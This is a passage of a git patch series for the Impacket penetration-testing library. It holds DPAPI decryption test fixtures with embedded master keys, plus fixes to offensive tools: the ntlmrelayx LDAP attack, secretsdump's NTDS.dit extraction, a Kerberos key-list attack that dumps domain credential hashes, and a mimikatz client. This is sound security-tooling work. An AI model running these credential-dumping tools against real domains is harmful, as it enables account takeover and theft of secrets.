b'\x90wx&\x11/\xf3Rh\xf4\xb4=\xdd\xbe\xa4\xcbR\xf9\xf6\x15C\x02\xc90\x931\xefY$' \ + b'\x9aB\x94h4\x04\t\xb1Y\x83N\xd2\xd3\xa6|h\x04\xa4*sR\x9e\xd2pE\x1e\xc0b">\xdd\xc8' \ + b'\xef\x9cb\xf0jVP\x9aJA\x9b|\xdbx\xdd\xcbs\xd4\xdd\x95\x88\xd4\x87,LyMf\x9b\xdf' \ + b'\xb7\xc0\x0cJ52]\x8f=\x8eE\xe7\x93u\xe9\x18\xea%\xd7U\x17(0\xe4\x8c\xcb\xe1Q\xc7' \ + b'\xfa\xc3qX/.\xf0r\xd2\x9a\xb35\x8e\x18\xdb\x8e\x81\xc7x\xab\x81\xbd\xcf,\x1c\xc8x' \ + b'\x9d\xf2\x9c;\x01xo\x84\xfdx\xb4\x14G-\xd3o' + + systemMasterKey = unhexlify('682a9b8923ff4ca7ce0ef7e4cee061f0ff942cd31c7703ec60792740b2e7d0b1b5115d1ff77e10b77e189e0d6e99d5b668190ecd44fa84e82e049f406e2c2a59') + + systemMasterKeyFile = b"\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00e\x00a\x009\x005\x00e\x00b\x00a\x008" \ + b"\x00-\x00b\x00a\x000\x000\x00-\x004\x00e\x001\x00a\x00-\x00b\x004\x003\x00f\x00-\x005" \ + b"\x001\x00e\x00a\x003\x000\x001\x007\x001\x00d\x001\x001\x00\x00\x00\x00\x00\x00\x00" \ + b"\x00\x00\x06\x00\x00\x00\xb0\x00\x00\x00\x00\x00\x00\x00\x90\x00\x00\x00\x00\x00\x00" \ + b"\x00\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00" \ + b"\xf4/a\xea\x0c\x96G\xbf@8\x19\x89\x84R\x08\x9f\xf8C\x00\x00\x0e\x80\x00\x00\x10f\x00" \ + b"\x00\xe2D\x1d\xec\x11\xa6\xb6\xf0?\xfe\xbb\xa1\xe7\x14s\xf7\x8d\xa4jR\xb1,\xaf\xf7" \ + b"\xdf\x99%\xedj\xc8\x9d\x84\x05\n\xd1\\\xfe\x88\xecP\xec\xe2\x01\xe5\xa8\x0e\xb1\x98" \ + b"\x90\x9f\xf8\xc7\x81Q\x0fx\x85\x9b\x96\xcf\xad\xe43\xc8:\x7f?\xc1\x99&\xb0(\x0ej\x19n" \ + b"\xf1\xb0\xb5\xe1\xb3\xc1\xabBa \xdaS\xf2NY\x89\xf8\xa7\xd3\xdd\xe8j\xc4D\x90\x14\x01" \ + b"\xa6\xdfd\x07\xf5P\xd1\x97\xff'\xc9\x1a\xbb\\3\x12P\xb5\xa7\xceX\xc1\xf6\x1f\xd0\xd6V6" \ + b"\r\xf5\x8eo[_\xaa\xc69f\x1a\xa8\x94\x02\x00\x00\x00\xbd\xc1\xf9Y#W5:*>\xbc\xf8\xce" \ + b"\xdcr\xbb\xf8C\x00\x00\x0e\x80\x00\x00\x10f\x00\x00\x121\xd6~\xc6\x89\xfe\xa9\xf6" \ + b"\xdek\xd6j!\xe2\x8dT\x05#-\xf7\x1d\xea\xe5\xbf:\xb6\xf3\xd3' \ + b'\x97\x01\xb0\xfa\xf2n\xa3\xd9U_\xd3n\xd4\x80\xa5\x13\xb9$\x13\xe2\x02\x97\xb0*\xd6\xcf' \ + b'\xa1\x1e\x19\xf1\x9c\xea.tq\xf3\xb4\x89*L\xd2\xd5\x91;D7\xbd\xf0\x1eF\x82\x13\xb9e\x9b' \ + b'\x9a\x86w0\xb2\xb7b\x8f\xb6\t\xbe\xfb>v\x9f\x89S\x10\xe3\xe7\x0f}:\xd3\xdd\xe3B\x18c' \ + b'\xf7\x85j\xe4\xfb4=\x1e\x18\x97\xa1,+i\xe5\x8b\xdfn8\xc5>\x9eysQe\x85\xfb\x0b\x01' \ + b'\xd8 \xb2\x81*\x8e\xcd \xafE\x9f\x8c\xcb\x97\x89\x96\x97\xdd\x14\x00\x00\x00\xb7\xe5%' \ + b'\xfdC*R\xf9\rd\x0b\x7f\xf0G\xe9C\xf3\xd3p\x8c' + + vpolFile = b"\x01\x00\x00\x00B\xc4\xf4K\x8a\x9b\xa0A\xb3\x80\xddJpM\xdb( \x00\x00\x00W\x00e\x00b\x00 " \ + b"\x00C\x00r\x00e\x00d\x00e\x00n\x00t\x00i\x00a\x00l\x00s\x00\x00\x00\x01\x00\x00\x00\x00\x00" \ + b"\x00\x00\x01\x00\x00\x00h\x01\x00\x00\x0b\xdas\xdd\x83\xfd\x12G\xaf\x8b\xd1S\xc7\x10\xc6\xb9" \ + b"\x0b\xdas\xdd\x83\xfd\x12G\xaf\x8b\xd1S\xc7\x10\xc6\xb9D\x01\x00\x00\x01\x00\x00\x00\xd0\x8c" \ + b"\x9d\xdf\x01\x15\xd1\x11\x8cz\x00\xc0O\xc2\x97\xeb\x01\x00\x00\x00Wc\xa0\t\xf5\xf3\xccJ\x9d" \ + b"\x08\xd8\x86Z\xad\xe4\xac\x00\x00\x00 \x00\x00\x00\x00\x10f\x00\x00\x00\x01\x00\x00 \x00\x00" \ + b"\x00\xe5\r@\x973M\xca\xdd\xb1\xca\x0cR\xb6\xaaO\xc5C\x91\x01\xd0l\xd6\x8f\xce1\xaf!\x17$L!" \ + b"\xc8\x00\x00\x00\x00\x0e\x80\x00\x00\x00\x02\x00\x00 \x00\x00\x00\xd2@h\x0e\x8e\xd9$V\xa8y" \ + b"\xf3\xbe\xbd\x85\x98\xb3\x1b&{\xed\xb3xx\xc6\xba\xc9\x8a\xc0s\xd4]\xeap\x00\x00\x00\x88}\x83" \ + b"\x18\xc6\xc6\x00\xbc\xfe\xeb\xc4\xcb\xde\xfei>\xabo\xba\xb8=\\\ns\xb5\xdb\x97\xb9ln8B\xd9" \ + b"\xc9\xd4:\x94\x9b7|\x94^\xda\x06\xe3\xdau\x0c\x02\x0c\x1bh\x8b\xac\xb8W#\x08\x0cm\xd5T+" \ + b"\xc0m!U\xd7f\x9aO\xf1\xc7\x8b\xd1\x9c\x8ak._g\x01P>\xd3\xd7'\xe8j\xc4\xe4\xc7\xe4f`x\xffA" \ + b"\x93#\xb5\x84\xbc\x17\x96\xa5e\xa0k\xd7p\xfc@\x00\x00\x00\xde\xb5&\xf7jZ\xac\x14Z\xd2\xb5" \ + b"\xc3\xc9\x046\xb1\xb9A-~\x17)\xe9\xdcb~\xf7J+\x15\xa8\xe7N\xc5\xe5\x0b\xe3\x86\xf8\x08\\]G" \ + b"\x9e;\x82\x9c\xa2\xf3\xf8s\xd9}\xdd\x00f\x97u\xe3\xeff\x05\xa4\x90\x00\x00\x00\x00" + + vcrdFile = b'\x99T\xcd<\xa8\x87\x10K\xa2\x15`\x88\x88\xdd;U\x04\x00\x00\x00\xa3\xcf\x10\xffWm\xd3\x01\xff' \ + b'\xff\xff\xff\x00\x02\x00\x00$\x00\x00\x00I\x00n\x00t\x00e\x00r\x00n\x00e\x00t\x00 \x00E\x00x' \ + b'\x00p\x00l\x00o\x00r\x00e\x00r\x00\x00\x000\x00\x00\x00\x01\x00\x00\x00\x80\x00\x00\x00M_{' \ + b'\x18\x02\x00\x00\x00\xb5\x00\x00\x00M_{\x18\x03\x00\x00\x00\xea\x00\x00\x00M_{\x18d\x00\x00' \ + b'\x00\x00\x01\x00\x00M_{\x18\x01\x00\x00\x00\x02\x00\x00\x00\x07\x00\x00\x00\n\x00\x00\x00!' \ + b'\x00\x00\x00\x00\x00e\x1c\x90\x18P\xab\xd0 0\xac!\xaf\x10\x81\xfe\xabAN#ga\xa9^I\x0e=\xffW' \ + b'\xd2\xdbt\x02\x00\x00\x00\x02\x00\x00\x00\x07\x00\x00\x00\n\x00\x00\x00!\x00\x00\x00\x00\x99' \ + b'|\xc9\x8b+\xd1\xbfF\xf2\xdd\xdd\xac\xa9\x80\xfd\x08x\x9d\xe6\xbe\x16&\xb0\'\x1ahQ\x08\x86-' \ + b'\xdc~\x03\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\n\x00\x00\x00\x00\x00\x00\x00\x01\x00d' \ + b'\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\n\x00\x00\x00\x00\x00\x00\x00\xb5\x00\x00\x00' \ + b'\x01\x10\x00\x00\x00)\x87\xe8|\xe62\xc7\xcf\x98\xc9\xbd\xfb}"\xe4]8\x8a\x1cl\xb9\x1dP4\xc8' \ + b'\xdf\xe1\x8e#b\x91\xe3\xbe\xb2bA$,\xe9\xa1\xa6\x93\xff\t\x84+\xda\xff\x9f-\'\x96O\xb9\xe9' \ + b'\x15\x0f\xb8\xd4\xdbs\xa3\xb1Z\xfc\x90\x07\x01?DBQ\xd4\x1d_\x0eo?\xd3Z\xf1Z\xe7\xf8\xe4oL3' \ + b'\x91\xbbB%\xef\x0f\xaf\x03*\x99\xd6\xb6\xc8\xd9\x83+e\x8b\x02l\x9fl IJ\xe2\x89~a)E\x8fL\xe4' \ + b'\xfc\x9dC\x17\xb0\x14\xe9]H\xfd\x0e+:\xc5\xc7\xcb\x87\xd0S\x16\x1bu\xb4\xfc1\xce\xd8\xffb' \ + b'\x0e3\xbe|\xa3\xd7<\xd1:\xf1.PUr\xe8\xfdQ\x16\xe3\xa9\rt\x14\x04\xbb\x01\x00\x00\x00\x00' \ + b'\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00' def test_DPAPI_SYSTEM(self): blob = unhexlify('010000002bb2109db472825bfa7660fdbed62c981f08587b458dc597034d8801fc6fe3b342817caabb81a0cb') @@ -154,7 +207,7 @@ def atest_adminMasterKeyFile(self): data = self.adminMasterKeyFile[len(mkf):] mk = MasterKey(data[:mkf['MasterKeyLen']]) mk.dump() - key1, key2 = self.deriveKeysFromUser( self.sid, self.password) + key1, key2 = self.deriveKeysFromUser(self.sid, self.password) decryptedKey = mk.decrypt(key1) decryptedKey = mk.decrypt(key2) self.assertEqual(decryptedKey, self.adminMasterKey) @@ -166,8 +219,48 @@ def test_decryptCredential(self): decrypted = blob.decrypt(self.adminMasterKey) creds = CREDENTIAL_BLOB(decrypted) creds.dump() - self.assertEqual(creds['Username'], 'david.bowie\x00'.encode('utf-16le')) + self.assertEqual(creds['Username'], self.username.encode('utf-16le')) + + @pytest.mark.skipif(os.name != "nt", reason="Only Windows") + def test_dumpBlobProtectAPI(self): + """Protect a blob using DPAPI and then parse and dump it. We're not testing the + correct decryption at this point. + + TODO: It would be great to have a complete functional test to protect using DPAPI and + then unprotect it but it will require also dumping the master key from the test + system. + """ + plain_blob = b"Some test string" + entropy = b"Some entropy" + encrypted_blob = dpapi_protect(plain_blob, entropy) + dpapi_blob = DPAPI_BLOB(encrypted_blob) + dpapi_blob.dump() + + def test_unprotect_without_entropy(self): + """Simple test to decrypt a protected blob without providing an entropy string. + The blob was obtained using the dpapi_protect helper function and key extracted from a + test system with secretsdump/mimikatz. + """ + plain_blob = b"Some test string" + entropy = None + key = unhexlify("9828d9873735439e823dbd216205ff88266d28ad685a413970c640d5ee943154bbade31fada673d542c72d707a163bb3d1bceb0c50465b359ae06998481b0ce3") + encrypted_blob = unhexlify("01000000d08c9ddf0115d1118c7a00c04fc297eb0100000033f19f5ee340be4a8a2e2b4e62bd0cc6000000000200000000001066000000010000200000000d1af96e5e102266fd36d96ac7d1595552e5a4e972463f77e6e227f22d5fc8df000000000e8000000002000020000000834f3c5710c8a7474f7dbcea8ba28ab8e4d4443f50a0c63ff4eba1cce485295f20000000b61d7576c0c6caf3690edb247bde3f7edaa59580e3b4be1265ea78e8c1b8a61d400000001c03ab807147742649b6bdfd1c1344d178bb163842d70abacfd51233af909cb81a677ec05d8db996f587ef5ac410dc189beda756eb0d1b6ee376823e80968538") + dpapi_blob = DPAPI_BLOB(encrypted_blob) + decrypted_blob = dpapi_blob.decrypt(key, entropy) + self.assertEqual(plain_blob, decrypted_blob) + def test_unprotect_with_entropy(self): + """Simple test to decrypt a protected blob providing an entropy string. + The blob was obtained using the dpapi_protect helper function and key extracted from a + test system with secretsdump/mimikatz. + """ + plain_blob = b"Some test string" + entropy = b"Some entropy" + key = unhexlify("9828d9873735439e823dbd216205ff88266d28ad685a413970c640d5ee943154bbade31fada673d542c72d707a163bb3d1bceb0c50465b359ae06998481b0ce3") + encrypted_blob = unhexlify("01000000d08c9ddf0115d1118c7a00c04fc297eb0100000033f19f5ee340be4a8a2e2b4e62bd0cc600000000020000000000106600000001000020000000f239c0018e71b33bef9a6299675c7e209eef1f6447bd578d19c7973548737545000000000e80000000020000200000009d9ef33e15ffb1b310a13ecec39b1c02adc39e8d40a7162f9f9bb3170c699a812000000040e820259332c47af42e5f9de629e109d1504641aad853f3818c40ac311cf24a4000000010f01a84a5cc0393d3ea44cc3a8ff00ca4d02fcabc7c353a6823c53e4e719c9b398282a06b8878250205160ed79fef8b026093ad5a467594953d6de28d71f8c9") + dpapi_blob = DPAPI_BLOB(encrypted_blob) + decrypted_blob = dpapi_blob.decrypt(key, entropy) + self.assertEqual(plain_blob, decrypted_blob) def test_decryptVpol(self): vpol = VAULT_VPOL(self.vpolFile) @@ -177,7 +270,8 @@ def test_decryptVpol(self): data = blob.decrypt(key) keys = VAULT_VPOL_KEYS(data) keys.dump() - self.assertEqual(keys['Key2']['bKeyBlob']['bKey'], unhexlify('756ff73b0ee4980e2dd722fbcd0badb9a6be89590304eb6d58b6e8ab7aaaec1d')) + self.assertEqual(keys['Key2']['bKeyBlob']['bKey'], + unhexlify('756ff73b0ee4980e2dd722fbcd0badb9a6be89590304eb6d58b6e8ab7aaaec1d')) def test_decryptVCrd(self): blob = VAULT_VCRD(self.vcrdFile) From dffa436c36549baaf8a37e6f22973f087b38eead Mon Sep 17 00:00:00 2001 From: 0xdeaddood Date: Wed, 6 Apr 2022 18:37:45 -0300 Subject: [PATCH 35/44] Fixed LDAP attack addComputer when no computer name password is defined --- impacket/examples/ntlmrelayx/attacks/ldapattack.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/impacket/examples/ntlmrelayx/attacks/ldapattack.py b/impacket/examples/ntlmrelayx/attacks/ldapattack.py index 09984af09e..8c0e1c3045 100644 --- a/impacket/examples/ntlmrelayx/attacks/ldapattack.py +++ b/impacket/examples/ntlmrelayx/attacks/ldapattack.py @@ -940,7 +940,7 @@ def run(self): # Add a new computer if that is requested # privileges required are not yet enumerated, neither is ms-ds-MachineAccountQuota - if self.config.addcomputer: + if self.config.addcomputer is not None: self.client.search(domainDumper.root, "(ObjectClass=domain)", attributes=['wellKnownObjects']) # Computer well-known GUID # https://social.technet.microsoft.com/Forums/windowsserver/en-US/d028952f-a25a-42e6-99c5-28beae2d3ac3/how-can-i-know-the-default-computer-container?forum=winservergen From 68fd6b799f179eed5b3cccfd7cb60850626b0b24 Mon Sep 17 00:00:00 2001 From: 0xdeaddood Date: Thu, 7 Apr 2022 16:56:53 -0300 Subject: [PATCH 36/44] Added some checks related to RRP when use-vss option is enabled in secretsdump.py --- examples/secretsdump.py | 4 ++-- impacket/examples/secretsdump.py | 14 +++++++++++--- 2 files changed, 13 insertions(+), 5 deletions(-) diff --git a/examples/secretsdump.py b/examples/secretsdump.py index 83d6986d64..56e4396a66 100755 --- a/examples/secretsdump.py +++ b/examples/secretsdump.py @@ -1,7 +1,7 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file @@ -200,7 +200,7 @@ def dump(self): # NTDS Extraction we can try regardless of RemoteOperations failing. It might still work if self.__isRemote is True: - if self.__useVSSMethod and self.__remoteOps is not None: + if self.__useVSSMethod and self.__remoteOps is not None and self.__remoteOps.getRRP() is not None: NTDSFileName = self.__remoteOps.saveNTDS() else: NTDSFileName = None diff --git a/impacket/examples/secretsdump.py b/impacket/examples/secretsdump.py index 3dc13cf9e1..944e82db05 100644 --- a/impacket/examples/secretsdump.py +++ b/impacket/examples/secretsdump.py @@ -1,6 +1,6 @@ # Impacket - Collection of Python classes for working with network protocols. # -# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. +# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file @@ -405,6 +405,9 @@ def __connectWinReg(self): self.__rrp.connect() self.__rrp.bind(rrp.MSRPC_UUID_RRP) + def getRRP(self): + return self.__rrp + def connectSamr(self, domain): rpc = transport.DCERPCTransportFactory(self.__stringBindingSamr) rpc.set_smb_connection(self.__smbConnection) @@ -1000,8 +1003,13 @@ def __getLastVSS(self, forDrive=None): def saveNTDS(self): LOG.info('Searching for NTDS.dit') # First of all, let's try to read the target NTDS.dit registry entry - ans = rrp.hOpenLocalMachine(self.__rrp) - regHandle = ans['phKey'] + try: + ans = rrp.hOpenLocalMachine(self.__rrp) + regHandle = ans['phKey'] + except: + # Can't open the root key + return None + try: ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Services\\NTDS\\Parameters') keyHandle = ans['phkResult'] From 1276e068a3398da465f157b5441deb58d1ad8010 Mon Sep 17 00:00:00 2001 From: Jonas Lieb Date: Fri, 8 Apr 2022 16:56:45 +0200 Subject: [PATCH 37/44] Fix default NTLM server challenge in smbserver.py --- impacket/smbserver.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/impacket/smbserver.py b/impacket/smbserver.py index 29729f5502..fdd027c2a6 100644 --- a/impacket/smbserver.py +++ b/impacket/smbserver.py @@ -4598,7 +4598,7 @@ def processConfigFile(self, configFile=None): if self.__serverConfig.has_option('global', 'challenge'): self.__challenge = unhexlify(self.__serverConfig.get('global', 'challenge')) else: - self.__challenge = b'A' * 16 + self.__challenge = b'A' * 8 if self.__serverConfig.has_option("global", "jtr_dump_path"): self.__jtr_dump_path = self.__serverConfig.get("global", "jtr_dump_path") From 24106e60b017a1f0c9bcc7139fc3077281febf99 Mon Sep 17 00:00:00 2001 From: 0xdeaddood Date: Mon, 11 Apr 2022 17:04:24 -0300 Subject: [PATCH 38/44] Added error handling and parameter validation, and removed unused code --- examples/keylistattack.py | 42 ++++++++++++-------------------- examples/secretsdump.py | 9 ++++--- impacket/examples/secretsdump.py | 19 ++++++++++++--- 3 files changed, 36 insertions(+), 34 deletions(-) diff --git a/examples/keylistattack.py b/examples/keylistattack.py index 8340530f82..f107c142ab 100644 --- a/examples/keylistattack.py +++ b/examples/keylistattack.py @@ -1,7 +1,7 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file @@ -19,32 +19,21 @@ # ./keylistdump.py contoso.com/jdoe:pass@dc01 -rodcNo 20000 -rodcKey # ./keylistdump.py contoso.com/jdoe:pass@dc01 -rodcNo 20000 -rodcKey -full # ./keylistdump.py -kdc dc01.contoso.com -t victim -rodcNo 20000 -rodcKey LIST -# ./keylistdump.py -domain contoso.com -kdc 192.0.0.1 -tf targetfile.txt -rodcNo 20000 -rodcKey LIST +# ./keylistdump.py -kdc dc01 -domain contoso.com -tf targetfile.txt -rodcNo 20000 -rodcKey LIST # # Author: # Leandro Cuozzo (@0xdeaddood) # -import datetime import logging import os import random -import string -from binascii import unhexlify -from pyasn1.codec.der import encoder, decoder - -from impacket.dcerpc.v5 import samr, transport from impacket.examples import logger from impacket.examples.secretsdump import RemoteOperations, KeyListSecrets from impacket.examples.utils import parse_target from impacket.krb5 import constants -from impacket.krb5.asn1 import Ticket as TicketAsn1, EncTicketPart, AP_REQ, seq_set, Authenticator, TGS_REQ, \ - seq_set_iter, TGS_REP, EncTGSRepPart, KERB_KEY_LIST_REP -from impacket.krb5.constants import ProtocolVersionNumber, TicketFlags, PrincipalNameType, encodeFlags, EncryptionTypes -from impacket.krb5.crypto import Key, _enctype_table -from impacket.krb5.kerberosv5 import sendReceive -from impacket.krb5.types import KerberosTime, Principal, Ticket +from impacket.krb5.types import Principal from impacket.smbconnection import SMBConnection from impacket import version @@ -105,7 +94,7 @@ def run(self): self.connect() self.__remoteOps = RemoteOperations(self.__smbConnection, self.__doKerberos, self.__kdcHost) self.__remoteOps.connectSamr(self.__domain) - self.__keyListSecrets = KeyListSecrets(self.__domain, self.__remoteName, self.__rodc, self.__remoteOps) + self.__keyListSecrets = KeyListSecrets(self.__domain, self.__remoteName, self.__rodc, self.__aesKeyRodc, self.__remoteOps) logging.info('Enumerating target users. This may take a while on large domains') if self.__full is True: targetList = self.getAllDomainUsers() @@ -113,7 +102,7 @@ def run(self): targetList = self.__keyListSecrets.getAllowedUsersToReplicate() else: logging.info('Using target users provided by parameter') - self.__keyListSecrets = KeyListSecrets(self.__domain, self.__remoteName, self.__rodc, None) + self.__keyListSecrets = KeyListSecrets(self.__domain, self.__remoteName, self.__rodc, self.__aesKeyRodc, None) targetList = self.__targets logging.info('Dumping Domain Credentials (domain\\uid:[rid]:nthash)') @@ -161,12 +150,14 @@ def getAllDomainUsers(self): parser.add_argument('-rodcKey', action='store', help='AES key of the Read Only Domain Controller') parser.add_argument('-full', action='store_true', default=False, help='Run the attack against all domain users. ' 'Noisy! It could lead to more TGS requests being rejected') - parser.add_argument('-domain', action='store', help='Domain of the target user/s (only works with LIST)') - parser.add_argument('-kdc', action='store', help='KDC HostName or FQDN (only works with LIST)') - parser.add_argument('-t', action='store', help='Attack only the username specified (only works with LIST)') - parser.add_argument('-tf', action='store', help='File that contains a list of target usernames (only works with LIST)') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + group = parser.add_argument_group('LIST option') + group.add_argument('-domain', action='store', help='The fully qualified domain name (only works with LIST)') + group.add_argument('-kdc', action='store', help='KDC HostName or FQDN (only works with LIST)') + group.add_argument('-t', action='store', help='Attack only the username specified (only works with LIST)') + group.add_argument('-tf', action='store', help='File that contains a list of target usernames (only works with LIST)') + group = parser.add_argument_group('authentication') group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='Use NTLM hashes to authenticate to SMB ' 'and list domain users.') @@ -201,7 +192,6 @@ def getAllDomainUsers(self): if options.rodcNo is None: logging.error("You must specify the RODC number (krbtgt_XXXXX)") sys.exit(1) - if options.rodcKey is None: logging.error("You must specify the RODC aes key") sys.exit(1) @@ -209,12 +199,9 @@ def getAllDomainUsers(self): domain, username, password, remoteName = parse_target(options.target) if remoteName == '': - logging.error("You must specify the KDC hostname or IP") + logging.error("You must specify a target or set the option LIST") sys.exit(1) - if options.target_ip is None: - options.target_ip = remoteName - if remoteName == 'LIST': targets = [] if options.full is True: @@ -247,9 +234,10 @@ def getAllDomainUsers(self): logging.error("You must specify the KDC HostName or FQDN") sys.exit(1) + if options.target_ip is None: + options.target_ip = remoteName if options.domain is not None: domain = options.domain - if domain == '': logging.error("You must specify a target domain. Use the flag -domain or define a FQDN in flag -kdc") sys.exit(1) @@ -259,6 +247,8 @@ def getAllDomainUsers(self): if '@' not in options.target: logging.error("You must specify the KDC HostName or IP Address") sys.exit(1) + if options.target_ip is None: + options.target_ip = remoteName if domain == '': logging.error("You must specify a target domain") sys.exit(1) diff --git a/examples/secretsdump.py b/examples/secretsdump.py index 707728f535..fa62989cb8 100755 --- a/examples/secretsdump.py +++ b/examples/secretsdump.py @@ -1,7 +1,7 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file @@ -81,6 +81,7 @@ def __init__(self, remoteName, username='', password='', domain='', options=None self.__lmhash = '' self.__nthash = '' self.__aesKey = options.aesKey + self.__aesKeyRodc = options.rodcKey self.__smbConnection = None self.__remoteOps = None self.__SAMHashes = None @@ -165,12 +166,12 @@ def dump(self): # This will prevent establishing SMB connections using TGS for SPNs different to cifs/ logging.error('Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user') else: - logging.debug('RemoteOperations failed: %s' % str(e)) + logging.error('RemoteOperations failed: %s' % str(e)) # If the KerberosKeyList method is enable we dump the secrets only via TGS-REQ if self.__useKeyListMethod is True: try: - self.__KeyListSecrets = KeyListSecrets(self.__domain, self.__remoteName, self.__rodc, self.__remoteOps) + self.__KeyListSecrets = KeyListSecrets(self.__domain, self.__remoteName, self.__rodc, self.__aesKeyRodc, self.__remoteOps) self.__KeyListSecrets.dump() except Exception as e: logging.error('Something went wrong with the Kerberos Key List approach.: %s' % str(e)) @@ -343,8 +344,8 @@ def cleanup(self): ' the ones specified in the command line') group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication' ' (128 or 256 bits)') - group.add_argument('-keytab', action="store", help='Read keys for SPN from keytab file') + group = parser.add_argument_group('connection') group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ' 'ommited it use the domain part (FQDN) specified in the target parameter') diff --git a/impacket/examples/secretsdump.py b/impacket/examples/secretsdump.py index 1849b39e34..9203e97a49 100644 --- a/impacket/examples/secretsdump.py +++ b/impacket/examples/secretsdump.py @@ -1,6 +1,6 @@ # Impacket - Collection of Python classes for working with network protocols. # -# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. +# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file @@ -2731,9 +2731,10 @@ def checkNoLMHashPolicy(self): class KeyListSecrets: - def __init__(self, domainName, kdc, kvno, remoteOps=None): + def __init__(self, domainName, kdc, kvno, rodcKey, remoteOps=None): self.__remoteOps = remoteOps self.__keyVersionNumber = kvno + self.__rodcKey = rodcKey if self.__remoteOps is None: self.__kdcHostName = kdc self.__domain = domainName @@ -2800,7 +2801,7 @@ def createPartialTGT(self, userName): encodedEncTicketPart = encoder.encode(encTicketPart) # and we encrypt it with the RODC key cipher = _enctype_table[partialTGT['enc-part']['etype']] - key = Key(cipher.enctype, unhexlify('97b2d3f45f2300e14594d70cb6ff98c4303452a5c2ae8e446ad09d9cd22afb37')) + key = Key(cipher.enctype, unhexlify(self.__rodcKey)) # key usage 2 -> key tgt service cipherText = cipher.encrypt(key, 2, encodedEncTicketPart, None) @@ -2889,8 +2890,18 @@ def getFullTGT(self, userName, partialTGT, sessionKey): logging.error("User %s is not allowed to have passwords replicated in RODCs", userName) elif str(error).find('KDC_ERR_C_PRINCIPAL_UNKNOWN') >= 0: logging.error("User %s doesn't exist", userName) + elif str(error).find('KDC_ERR_KEY_EXPIRED') >= 0: + logging.error("User %s's password has expired", userName) + elif str(error).find('Connection timed out') >= 0: + raise Exception("Connection timed out: check the KDC HostName or IP address, aborting") + elif str(error).find('Name or service not known') >= 0: + raise Exception("Name or service not known: check the KDC HostName or IP address, aborting") elif str(error).find('KDC_ERR_WRONG_REALM') >= 0: - logging.error("Domain '%s' doesn't exist", self.__domain) + raise Exception("KDC_ERR_WRONG_REALM: domain doesn't exist, aborting") + elif str(error).find('KDC_ERR_S_PRINCIPAL_UNKNOWN') >= 0: + raise Exception("KDC_ERR_S_PRINCIPAL_UNKNOWN: check the RODC krbtgt account number, aborting") + elif str(error).find('KRB_AP_ERR_BAD_INTEGRITY') >= 0: + raise Exception("KRB_AP_ERR_BAD_INTEGRITY: check the RODC AES key, aborting") else: logging.error(error) return None From 9a38cbcbc00a31e2ca0397db871b1baae4e8f44d Mon Sep 17 00:00:00 2001 From: mpgn Date: Thu, 14 Apr 2022 11:16:33 +0200 Subject: [PATCH 39/44] Update mimikatz.py --- examples/mimikatz.py | 11 +---------- 1 file changed, 1 insertion(+), 10 deletions(-) diff --git a/examples/mimikatz.py b/examples/mimikatz.py index b5d2990555..6b0642edb4 100755 --- a/examples/mimikatz.py +++ b/examples/mimikatz.py @@ -45,16 +45,7 @@ import readline -mimikatz_intro = r""" - .#####. mimikatz RPC interface - .## ^ ##. "A La Vie, A L' Amour " - ## / \ ## /* * * - ## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) - '## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo) - '#####' Impacket client by Alberto Solino (@agsolino) * * */ - - -Type help for list of commands""" +mimikatz_intro = r"""Type help for list of commands""" class MimikatzShell(cmd.Cmd): From dfaef151fe18c934c388f2ba2db3684e1c01cb16 Mon Sep 17 00:00:00 2001 From: 0xdeaddood Date: Thu, 21 Apr 2022 00:04:59 -0300 Subject: [PATCH 40/44] Removed Python 2.7 tests --- .github/workflows/build_and_test.yml | 2 -- tox.ini | 10 +++------- 2 files changed, 3 insertions(+), 9 deletions(-) diff --git a/.github/workflows/build_and_test.yml b/.github/workflows/build_and_test.yml index 50eec56752..63bcb3907b 100644 --- a/.github/workflows/build_and_test.yml +++ b/.github/workflows/build_and_test.yml @@ -51,8 +51,6 @@ jobs: python-version: ["3.6", "3.7", "3.8", "3.9"] experimental: [false] include: - - python-version: "2.7" - experimental: true - python-version: "3.10" experimental: true continue-on-error: ${{ matrix.experimental }} diff --git a/tox.ini b/tox.ini index 101bc05cdf..29913cfec6 100644 --- a/tox.ini +++ b/tox.ini @@ -1,10 +1,9 @@ # content of: tox.ini, put in same dir as setup.py [tox] -envlist = 